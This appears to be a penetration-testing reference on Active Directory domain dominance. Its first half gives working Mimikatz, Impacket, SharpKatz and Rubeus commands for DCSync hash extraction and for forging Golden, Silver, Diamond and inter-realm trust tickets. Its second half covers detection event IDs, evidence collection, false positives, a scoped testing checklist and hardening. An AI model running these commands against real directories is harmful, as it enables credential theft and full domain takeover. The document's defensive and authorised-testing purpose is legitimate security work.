Domain Dominance
Domain dominance techniques extract and forge Kerberos tickets, enabling complete control over Active Directory environments with persistent, stealthy access.
Danger
krbtgt twice. Confirm the written
objective covers credential extraction and the reset window, agree who performs the reset, and treat
DCShadow and SID History changes as directory modifications that must be logged and reverted.
DCSync Attack
DCSync simulates domain controller replication to extract password hashes for any domain account, including krbtgt. Requires Replicating Directory Changes permissions (Domain Admins, Enterprise Admins, or delegated rights).
The request is a normal replication call, which is why it is quiet on the endpoint and loud in the directory: the DC logs 4662 for the account that asked. One user's hash proves the permission; the full extraction is a separate decision the client should agree to, because it is the engagement's largest credential-handling event.
Mimikatz DCSync
# Extract specific user
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
# Extract krbtgt for Golden Ticket
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
# Extract all users
mimikatz # lsadump::dcsync /domain:corp.local /all /csvImpacket secretsdump
# DCSync with credentials
secretsdump.py corp.local/admin:P@ssw0rd@dc01.corp.local -just-dc
# Extract just NTDS (all hashes)
secretsdump.py corp.local/admin:P@ssw0rd@dc01.corp.local -just-dc-ntlm
# Extract specific user
secretsdump.py corp.local/admin:P@ssw0rd@dc01.corp.local -just-dc-user krbtgt
# With Kerberos authentication
secretsdump.py -k -no-pass corp.local/admin@dc01.corp.localSharpKatz
# DCSync with SharpKatz
SharpKatz.exe --Command dcsync --User corp\krbtgt --Domain corp.local --DomainController dc01.corp.localGolden Ticket
A Golden Ticket is a forged TGT signed with the krbtgt account's hash, providing access to any service as any user. Valid until krbtgt password is reset TWICE.
Information
Requirements
# Information needed for Golden Ticket:
# 1. Domain SID
whoami /user
# or
Get-ADDomain | Select-Object DomainSID
# 2. krbtgt NTLM hash (from DCSync)
# 3. Domain name
# 4. Target username (can be fake)Mimikatz Golden Ticket
# Create Golden Ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:ntlm_hash_here /ptt
# With specific groups (Domain Admins = 512)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:xxx /groups:512,513,518,519,520 /ptt
# Export to file instead of inject
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:xxx /ticket:golden.kirbiImpacket ticketer
# Create Golden Ticket
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-xxx -domain corp.local Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@dc01.corp.localRubeus Golden Ticket
# Create and inject Golden Ticket
Rubeus.exe golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /rc4:<krbtgt_ntlm_hash> /ptt
# Create with specific user and groups
Rubeus.exe golden /user:FakeUser /domain:corp.local /sid:S-1-5-21-xxx /rc4:<krbtgt_ntlm_hash> /groups:512 /pttSilver Ticket
Silver Tickets are forged service tickets (TGS) that grant access to specific services without contacting the DC. Requires the service account's NTLM hash.
Common Service SPNs
# Common target services
CIFS (SMB) - cifs/server.domain.com - File shares
HTTP - http/server.domain.com - Web services
LDAP - ldap/dc.domain.com - Directory queries
HOST - host/server.domain.com - WMI, scheduled tasks
MSSQL - MSSQLSvc/sql.domain.com - SQL Server
WSMAN - wsman/server.domain.com - WinRM/PowerShell RemotingMimikatz Silver Ticket
# CIFS Silver Ticket (file share access)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /target:fileserver.corp.local /service:cifs /rc4:<service_account_hash> /ptt
# HOST Silver Ticket (WMI, Task Scheduler)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /target:server.corp.local /service:host /rc4:<hash> /ptt
# LDAP Silver Ticket (DCSync without DA)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-xxx /target:dc01.corp.local /service:ldap /rc4:<dc_machine_hash> /pttImpacket Silver Ticket
# Create Silver Ticket for CIFS
ticketer.py -nthash <service_hash> -domain-sid S-1-5-21-xxx -domain corp.local -spn cifs/fileserver.corp.local Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@fileserver.corp.localDiamond Ticket
Diamond Tickets modify legitimate TGTs rather than forging from scratch, making them harder to detect. Requires krbtgt hash like Golden Tickets.
# Rubeus Diamond Ticket
# Request legitimate TGT, then modify it
Rubeus.exe diamond /krbkey:<krbtgt_aes256> /user:Administrator /domain:corp.local /dc:dc01.corp.local /ticketuser:LegitUser /ticketuserid:1234 /groups:512 /pttInformation
Cross-Domain Attacks
Inter-Realm Golden Ticket (Trust Abuse)
# Get trust key (from DCSync)
mimikatz # lsadump::dcsync /domain:child.corp.local /user:corp$
# Create inter-realm TGT
mimikatz # kerberos::golden /user:Administrator /domain:child.corp.local /sid:S-1-5-21-CHILD /krbtgt:<trust_key> /sids:S-1-5-21-PARENT-519 /ptt
# Enterprise Admins SID from parent: S-1-5-21-PARENT-519
# This grants Enterprise Admin in parent domainDetection & Blue Team
DCSync, DCShadow, a golden ticket and an AdminSDHolder ACE each leave a different event, and none of them is a file on disk. Detection is therefore a query over directory and Kerberos telemetry — and the first four rows below are the ones that fire before the attacker has finished.
| Technique | Event IDs | Detection Approach |
|---|---|---|
| DCSync | 4662 (Replication ACE) | DS-Replication-Get-Changes-All from non-DC source. Alert on any workstation performing directory replication. |
| AdminSDHolder | 5136 (DS Object Modified) | Changes to AdminSDHolder DACL. SDProp runs every 60 min — monitor for new ACEs on CN=AdminSDHolder. |
| DCShadow | 4742, 5137 (AD Object Created) | New DC registration (nTDSDSA object creation). Monitor for SPN changes adding GC/ or E3514235 to workstations. |
| Skeleton Key | 7045, Sysmon 7 | Suspicious DLL loaded by lsass.exe on DCs. Monitor for process injection into LSASS. Restart DC clears the attack. |
| Golden Ticket | 4768, 4769 | A TGT whose lifetime exceeds domain policy, whose PAC is missing or which names an account that does not exist. Rotate krbtgt twice to invalidate the forged key. |
| Silver Ticket | 4769 | A service ticket with no preceding 4768 for that account, or one whose encryption type does not match the service account's policy. |
Evidence Collection
Replication request: The 4662 (or the DRSUAPI exchange) showing which account read which naming context, and from which host — the proof that DCSync succeeded without touching a DC console.
Hash provenance: Which account was extracted and with what rights. A krbtgt hash is a finding about the domain, not about that one host.
Forged ticket: The .kirbi or ccache, plus the command that used it and the access it produced (a directory listing is enough).
Persistence register: Every ACE, SID History entry or DC registration you added, with its Distinguished Name, so the client can verify removal.
CVSS range: DCSync with DA: 8.8–9.0 · forged golden ticket: 9.8 · inter-realm trust abuse: 9.8.
False Positive Identification
- A monitoring product reading NTDS: Backup, AV and identity-governance agents can trigger replication-adjacent events. Check the account, the source host and whether the request touched a naming context that product needs.
- A service account with replication rights by design: Some third-party tools are granted Replicating Directory Changes. Confirm the account’s documented role before calling it an attacker.
- An old TGT with an unusual lifetime: Policy changes leave tickets with the previous lifetime in circulation until they expire. Compare the ticket’s issue time against the policy change, not the current policy.
- A 4769 with no 4768: A ticket can come from a session that authenticated before the log window, or from a referral. Widen the window before concluding forgery.
- AdminSDHolder noise: SDProp rewrites protected objects hourly and logs the write. A 5136 for the ACL itself is expected; a new trustee is not.
Testing Checklist
Before the first request
- ☐ Confirm the objective authorises reading credentials — DCSync is a data-egress event, not a probe
- ☐ Record the DCs in scope and tell the client which hosts you may replicate from
- ☐ Agree the krbtgt double-reset window with the client before you ever forge a TGT
Proving dominance
- ☐ DCSync krbtgt and one ordinary user, and show the 4662 both times
- ☐ Forge a TGT for a non-existent user and access a DC-only share — that is the impact, not the ticket itself
- ☐ If a trust exists, prove cross-domain reach with one request rather than a full DCSync of the parent
- ☐ Check for a Diamond-ticket path before assuming a golden ticket is the only option
Remediation & Hardening
Break the key
- • Reset krbtgt twice, with replication in between — once leaves tickets valid
- • Rotate trust keys with netdom trust /resetpw after any domain compromise
- • Treat the DSRM password as domain-wide: change it on every DC after a seizure
Remove the standing rights
- • Audit who holds DS-Replication-Get-Changes-All — it should be DCs and a named backup product, nothing else
- • Review AdminSDHolder trustees and the protected-group membership that makes them matter
- • Enable PAC validation and alert on tickets that fail it
Detect the residue
- • Alert on 4662 from anything that is not a DC, and on 4742/5137 for a workstation registering as a DC
- • Baseline TGT lifetimes per account so a forged ticket has something to differ from
- • Tier 0 the directory: a workstation that can reach a DC’s replication interface is the precondition for all of this